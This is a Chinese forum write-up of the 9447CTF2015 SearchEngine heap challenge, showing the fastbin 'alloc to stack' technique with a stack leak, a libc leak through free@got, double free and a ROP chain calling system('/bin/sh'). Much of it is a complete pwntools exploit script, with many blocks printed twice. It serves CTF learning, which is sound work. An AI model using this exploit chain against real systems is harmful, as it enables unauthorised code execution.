首页
社区
课程
招聘
[原创]Pwn堆利用学习——Fastbin-Alloc to Stack——9447CTF2015-SearchEngine
发表于: 2021-5-30 10:45 13646

[原创]Pwn堆利用学习——Fastbin-Alloc to Stack——9447CTF2015-SearchEngine

2021-5-30 10:45
13646

Alloc to Stack:将堆块分配到了栈上。该项技术的核心点在于劫持fastbin链表中chunk的fd指针,将fd指针修改为我们想要分配的栈上,从而控制栈中的一些关键数据,比如返回地址等。在分配堆到栈上时,栈上要存在满足条件的chunk.size值,也就是说,我们要malloc多少的内存,其size一定要对应。

实验环境:

1

2

“真正的main函数”
3

将输入的字符串转换为数字。
4

long int strtol(const char *str, char **endptr, int base)

输入字符串的函数,有三个参数:

arg3:一个flag?当arg3不为0的时候,字符串最后一个字符会设置为\x00。否则不为\x00,此时如果打印,会泄漏数据

5

索引句子的函数。
6
首先是输入句子的长度,然后判断不能小于等于0。然后分配一个chunk来存储句子的内容,暂且称为sentence chunk吧。接着调用input函数往sentence chunk 输入句子的内容,这里第三个参数为0,所以,如果后面打印sentence的句子,可能泄漏数据。
因为关闭了PIE,所以,可以用地址来下断点,那就用gdb调试来验证输入的字符串没有\x00结尾。这里第22行(call input)的地址为0x400c4a。输入sentence size 为9,准备输入sentence为“aaaa aaaa”(中间一个空格,前后各4个a)。由下图可以知道,sentence_mem(即sentence chunk的user data的地址)为0x603420。
7
接着,输入句子“aaaa aaaa”后,可以看到sentence_mem开始9个字节由低到高是:616161612061616161,没有\x00。所以,如果我们输入的句子长一点,把sentence chunk填满,那么可以打印下一个chunk。
8

这几个变量之间的关系如下图所示。关于v6的那几行代码,可切换到汇编代码视图,结构非常清晰,一看就知道结构是怎样的,当然也可以继续用gdb调试查看。
9
继续看下面的代码。
10
看完这段代码可以知道前面的new chunk就是为word创建的word chunk。以输入“aaaa aaaa”为例,其大概流程如下图所示。
11

这里有一个漏洞点,删除sentence之后,没有把指向sentence的指针给置为Null,可能存在UAF或者DF漏洞。
12

word chunk和sentence chunk,以及全局变量之间的关系:
13

(这道题有两种解法,这里只写alloc to stack这种方法的思路,另一种思路可参考论坛里iddm师傅的文章《2015 9447ctf search_engine 双解》

输入96个a,会连带着打印出栈中的数据。输入48个a,没有打印栈中数据是刚好48个a之后栈的数据是0,这一点在后面的调试中可以看到。
14
使用脚本和gdb调试:在接收完菜单之后就attach gdb,然后在gdb里下断点,断点设为0x400AAF(input_number函数中调用__printf_chk的地方),然后c命令继续运行。

15
继续单步调试,直到运行到第二次调用__printf_chk,第二次调用时就会打印出栈的地址。经过多次尝试,每当在调用strtol函数之后,第2次打印的48个a后面总是栈的某个地址。但是参考资料里有的大佬不是这样,可能是环境的问题?我的环境是Ubuntu16.04,glibc 2.23。
16

17

思路:如何泄漏libc基址?最终还是要依靠打印函数来泄漏的,有两处地方有打印函数:(1)前面泄漏栈地址的input_number函数中;(2)search函数中。

可是word chunk的内容并不是我们能够直接控制的,怎么修改它的内容呢?

sentence chunk是我们能够完全控制的,它的所有user data都是我们输入的。那我们可以在index一个sentence的时候,将输入伪造成一个word chunk,并且如果index该sentence时malloc出来的word chunk的最后8字节指向我们输入的sentence内容。这样的话,当我们搜索“Enter”时,最终会搜索匹配到我们伪造的word chunk(输入的sentence chunk x),打印free函数真实地址。如下图所示。

18

问题又来了,怎么让word chunk x 的最后8字节指向sentence chunk x的user data呢?

word chunk 最后8个字节内容的来源是全局变量,保存的是上一个word chunk的地址。所以只要让sentence chunk x 曾经是最后一个 word chunk,同时已经被free掉就可以了!那么 sentence chunk x 原来要在fastbin中,当index一个sentence的时候会先malloc这个chunk给sentence。

可是word chunk是不会被free的,free的只会是sentence chunk,怎么办呢?也就是怎么才会让sentence chunk x既曾经是一个word chunk,又能被free掉?

能被free掉,说明sentence chunk x 曾经是一个sentence chunk,它的地址保存在某些的 word chunk 里面(删除句子后,word chunk里的sentence_mem指针没有被置为空)。所以:
(1)那就让它一开始是0x28大小的sentence chunk,内容为两个word(原因看下面的注意),然后search,删除sentence进行free,让它进入fastbin。
(2)再index另一个大小(如0x40)的sentence 2,那么 sentence 2 的 word chunk就会分配到被free掉的sentence chunk x!此时,成为word chunk 的 sentence chunk x 的结构如下:

(3)现在sentence chunk x 变成word chunk了,接着需要让他进入fastbin。那就要把这个word chunk(sentence chunk x)当作sentence chunk,才能free进fastbin。此时,还有两个word chunk((1)中sentence chunk内容分为2个word) 的sentence_mem是指向这个sentence chunk x的,那就想办法通过这两个word的结构搜索到sentence chunk x,然后删除sentence chunk x,那就能free这个被当作sentence chunk的word chunk(sentence chunk x)。方法就是搜索\x00,具体原因下面边调试边分析,因为光看文字还是有点迷糊。

注意:index sentence1 的时候,它的内容不能为连续的一个单词,否则搜索word时malloc出来的chunk也会是0x28大小,导致 sentence2 的word chunk 分配到这个chunk,而不是预想的sentence chunk x。

如此,leak libc的思路就清晰了:

下面开始编写脚本进行调试:

1)申请一个word chunk 大小(0x28)的sentence,记为sentence chunk 1,然后删除。

图中 sentence chunk 中的内容都为0,是因为这是删除句子之后的情况,都被清为0了。

19

2)申请一个其他大小的sentence,记为sentence chunk 2,那么sentence chunk 2的word chunk使用的就是sentence chunk 1。

20

3)search ‘\x00’,将定位到 原sentence chunk 1的word chunk2(“b”)。看上图,长度为1的word只有原来的word ‘b’,它的word addr是0x1fe0047,该地址处的内容正是\x00。因为这个地方现在存储的是从全局变量拷贝过来的“上一个word”的地址,地址的高位肯定是\x00的。所以,搜索\x00,则会定位到原来指向“b”的word chunk,然后free这个word chunk所属的sentence(即原 sentence chunk 1),原sentence chunk1会进入fastbins。

21

(4)index(size=0x28, content=Enter addr + free@got) 将sentence 内容伪造成一个word chunk。

22

(5)搜索Enter,定位到sentence chunk 3(原 sentence chunk 1),打印free@got地址的内容。

23

现在,已经获得了stack addr 和 libc addr。那么,接下来只需要将chunk 分配到栈中,让我们能将栈中的返回地址修改成调用system("bin/sh")就可以了!
这里有几个问题:

1)通过double free,在栈上伪造的chunk的地址放到fastbin中。为何要伪造0x40大小的chunk,而不是其他大小,在看完下面之后就会明白。此处暂时先这样用就可以。

24

25

26
27

2) 通过ROPGadget获取 pop_rdi_ret 地址
28

3)构造fake chunk,并malloc。这里先用这个wp的这部分脚本。

运行后出错。看到malloc函数报错: memory corruption (fast):0x00007ffdfdd995d0 。
29
这个地址是泄漏出来的栈的地址+0x10,原因清楚了:不能随便在栈中分配chunk,glibc会检查要分配的chunk的size是否符合,而前面泄漏出栈的地址之后就没有对他进行处理了,根本不知道在栈上伪造的free chunk的size是否为0x40。

同时,为何从double free开始,伪造的chunk大小都是0x40的原因也明白了。伪造的free chunk链接在某个size的fastbin上,而要在栈上找到一个size能绕过glibc的检查,那么之所以这个size选择0x40,是因为该程序关闭了PIE,代码段都是0x40开头的,所以栈中会有很多0x40。

4)选择stack地址,覆盖返回地址

首先尝试覆盖最后的index函数的返回地址,通过ida查看其返回地址为:0x400d8f
30
如下所示,在调用index之前下断点。
31
通过不断地finish,直到 BACKTRACE 窗口中 400d7e 在顶上,然后通过ni和si,进入调用的最后一个index函数。
32
刚进入index之后,通过 telescope $rsp-0x80 20 把栈内存dump出来查看,从里面找到0x40,然后通过偏移,把0x40当作size域的值,从这里开始构造chunk。
33
那么修改前面的代码,修改在栈上伪造chunk的地址。

运行脚本,还是出错。(;´༎ຶД༎ຶ`)

看了一下ida,index函数最后没有ret,而是直接跳转到puts函数去了,以为是这里出问题了(最后发现这是没问题的,后面会看到)。做到这又有点烦躁了,就不想去调试分析哪里错了,想着要不再找一个函数的返回地址来覆盖吧。就打算去覆盖index函数里的input函数,也就是往sentence chunk输入sentence那里。

但是呢,按照上面那个步骤去分析,最后发现这个返回地址附近没有0x40给我用,最近的也在0x40之外。于是只好放弃,回过去去分析之前哪里出错了。

唉,还是不能烦躁,要静心。这道题也是以前做了一大半,但是没做下去。这两天看别的看烦躁了,重新捡起来做的,比起以前还算是顺利,还是太菜了。

重新运行上面的代码进行调试,这次进入index之后继续调试,记住index函数的返回地址以及其在栈中的位置。接着,在index函数最后一条指令下断点,继续运行,在断点地方停下,index函数返回地址发生变化了,变成了 pop_rdi_ret 指令的地址。然后,继续 si 单步调试,进入puts函数。最后,不断地 ni ,发现在puts函数最后的 ret 跳转到pop_rdi_ret 指令了,如下图所示,说明这一部分把chunk分配到stack是没有问题的。
34
同时,发现上图中pop_rdi_ret 后面的指令不是system函数,而是vfprintf函数。难道我这个调用链构造错了,再去看一眼打印出来的system函数地址(下图),没有错啊,是这个地址。诶!发现LibcSearcher选择的libc好像有点不对劲。
35

我是先把本地的libc放到ida里查了一下free函数的偏移,再把上图打印出来的地址一算,是对不上的,问题确认了!然后我就把本地的libc添加到db库里。其实也可以直接就把本地的libc库添加进去。
36
添加完之后,重新运行脚本,在选择libc的时候,选择自己添加的本地libc。最后就成功了。
37

$ file 9447CTF2015-SearchEngine
9447CTF2015-SearchEngine: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped
 
$ checksec --file=9447CTF2015-SearchEngine
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      Yes    1        3        9447CTF2015-SearchEngine
$ file 9447CTF2015-SearchEngine
9447CTF2015-SearchEngine: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped
 
$ checksec --file=9447CTF2015-SearchEngine
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      Yes    1        3        9447CTF2015-SearchEngine
 
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './9447CTF2015-SearchEngine'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def dbg():
        gdb.attach(p)
        pause()
 
def index(sentence_size, sentence):
    sl('2\n')
    sla('size:\n', str(sentence_size))
    sla('sentence:\n', sentence)
 
def search(word_size, word):
    sl('1\n')
    sla('size:\n', str(word_size))
    sla('word:\n', word)
 
 
p.interactive()
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './9447CTF2015-SearchEngine'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def dbg():
        gdb.attach(p)
        pause()
 
def index(sentence_size, sentence):
    sl('2\n')
    sla('size:\n', str(sentence_size))
    sla('sentence:\n', sentence)
 
def search(word_size, word):
    sl('1\n')
    sla('size:\n', str(word_size))
    sla('word:\n', word)
 
 
p.interactive()
# recv menu
r()
 
''' leak stack addr'''
dbg()
sl(48*2*'a')
# receive until first print
ru('\n')
# receive until second 48*a
ru(48*'a')
# receive leak stack addr
stack_leak = u64(p.recv(6).ljust(8, '\x00'))
leak('leak stack', stack_leak)
# recv menu
r()
 
''' leak stack addr'''
dbg()
sl(48*2*'a')
# receive until first print
ru('\n')
# receive until second 48*a
ru(48*'a')
# receive leak stack addr
stack_leak = u64(p.recv(6).ljust(8, '\x00'))
leak('leak stack', stack_leak)
 
 
 
 
 
 
 
---------------------------------------
    prev_size
---------------------------------------
    size
---------------------------------------
    sentence_chunk_2_mem
---------------------------------------
    0x40
---------------------------------------
    sentence_chunk_2_mem
---------------------------------------
    0x40
---------------------------------------
    word_chunk2_of_sentence_chunk_1_addr
---------------------------------------
---------------------------------------
    prev_size
---------------------------------------
    size
---------------------------------------
    sentence_chunk_2_mem
---------------------------------------
    0x40
---------------------------------------
    sentence_chunk_2_mem
---------------------------------------
    0x40
---------------------------------------
    word_chunk2_of_sentence_chunk_1_addr
---------------------------------------
 
 
''' leak libc addr '''
 
'''
index a sentence1, size=info chunk
delete sentence1, have a sentence1 bin
index a sentence2, different size, info chunk will use sentence1 bin before
search '\x00' will delete sentence1, so sentence1 into fastbin chunk
index a same size sentence, sentence2's info chunk is sentence3
since we can control sentence2's info chunk, we can fake sentence addr
sentence'addr = got, search -> leak
'''
ru('\n') # receive the rest
 
index(0x28, 0x26*'a'+' '+'b') # sentence chunk 1
ru('Added sentence\n')
 
search(1, 'b')
sla('(y/n)?\n','y')
ru('Deleted!\n')
 
dbg()
''' leak libc addr '''
 
'''
index a sentence1, size=info chunk
delete sentence1, have a sentence1 bin
index a sentence2, different size, info chunk will use sentence1 bin before
search '\x00' will delete sentence1, so sentence1 into fastbin chunk
index a same size sentence, sentence2's info chunk is sentence3
since we can control sentence2's info chunk, we can fake sentence addr
sentence'addr = got, search -> leak
'''
ru('\n') # receive the rest
 
index(0x28, 0x26*'a'+' '+'b') # sentence chunk 1
ru('Added sentence\n')
 
search(1, 'b')
sla('(y/n)?\n','y')
ru('Deleted!\n')
 
dbg()
 
 
index(0x40, 0x40*'a') # sentence chunk 2
ru('Added sentence\n')
dbg()
index(0x40, 0x40*'a') # sentence chunk 2
ru('Added sentence\n')
dbg()
 
search(1, '\x00')
sla('(y/n)?\n','y')
ru('Deleted!\n')
dbg()
search(1, '\x00')
sla('(y/n)?\n','y')
ru('Deleted!\n')
dbg()
 
pl = ''
pl += p64(0x400E90) # 'Enter the word'
pl += p64(5)
pl += p64(elf.got['free'])
pl += p64(14)
pl += p64(0)
 
index(0x28, pl)
ru('Added sentence\n')
dbg()
pl = ''
pl += p64(0x400E90) # 'Enter the word'
pl += p64(5)
pl += p64(elf.got['free'])
pl += p64(14)
pl += p64(0)
 
index(0x28, pl)
ru('Added sentence\n')
dbg()
 
search(5, 'Enter') # fit the free@got, leak free
 
ru('Found 14: ')
 
free_addr = u64(p.recv(6).ljust(8, '\x00'))
leak('free@got',free_addr)
 
sla('(y/n)?\n','n')
ru('Quit\n')
 
libc_base, system, binsh = ret2libc(free_addr,'free')
leak('libc_base', libc_base)
leak('system', system)
leak('binsh', binsh)
search(5, 'Enter') # fit the free@got, leak free
 
ru('Found 14: ')
 
free_addr = u64(p.recv(6).ljust(8, '\x00'))
leak('free@got',free_addr)
 
sla('(y/n)?\n','n')
ru('Quit\n')
 
libc_base, system, binsh = ret2libc(free_addr,'free')
leak('libc_base', libc_base)
leak('system', system)
leak('binsh', binsh)
'''
fastbin attack
target is to malloc a chunk on the stack
code segment in 0x400000-0x402000
so we can malloc(0x38) chunk to fake a 0x40 chunk
'''
size = 0x38
index(size, (size-2)*'a'+' t') # a
index(size, (size-2)*'b'+' t') # b
index(size, (size-2)*'c'+' t') # c
search(1, 't')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
dbg()
# a->b->c->0
'''
fastbin attack
target is to malloc a chunk on the stack
code segment in 0x400000-0x402000
so we can malloc(0x38) chunk to fake a 0x40 chunk
'''
size = 0x38
index(size, (size-2)*'a'+' t') # a
index(size, (size-2)*'b'+' t') # b
index(size, (size-2)*'c'+' t') # c
search(1, 't')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
sla('(y/n)?\n','y')
dbg()
# a->b->c->0
search(1, '\x00')
sla('(y/n)?\n','y') # delete b
sla('(y/n)?\n','n')
dbg()
# b->a->b
search(1, '\x00')
sla('(y/n)?\n','y') # delete b
sla('(y/n)?\n','n')
dbg()
# b->a->b
fake_chunk = p64(stack_leak)
index(0x38,fake_chunk.ljust(56))
dbg()
 
# allocate twice to get our fake chunk
index(0x38,'A'*56)
index(0x38,'B'*56)
dbg()
fake_chunk = p64(stack_leak)
index(0x38,fake_chunk.ljust(56))
dbg()
 
# allocate twice to get our fake chunk
index(0x38,'A'*56)
index(0x38,'B'*56)
dbg()
 
 
pop_rdi_ret = 0x400e23
# overwrite the return address
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(binsh)
buf += p64(system)
buf = buf.ljust(56, 'C')
index(0x38,buf)
dbg()
pop_rdi_ret = 0x400e23
# overwrite the return address
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(binsh)
buf += p64(system)
buf = buf.ljust(56, 'C')

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-5-30 11:03 被ztree编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2

这个不是固定的吗?

2021-7-3 21:18
0
雪    币: 10984
活跃值: (7768)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
3
sistttt 这个不是固定的吗?
不是。我觉得可能是环境的原因,不一定都是2个“48个a”后面都是接栈的某个地址,也许要3个或者更多,也许一个就可以,虽然我没遇到。这样猜测的原因是我这里第1个”48个a“后面接的是0,所以栈里数据的位置可能因为环境不同而不同。
2021-7-4 10:28
0
游客
登录 | 注册 方可回帖
返回
//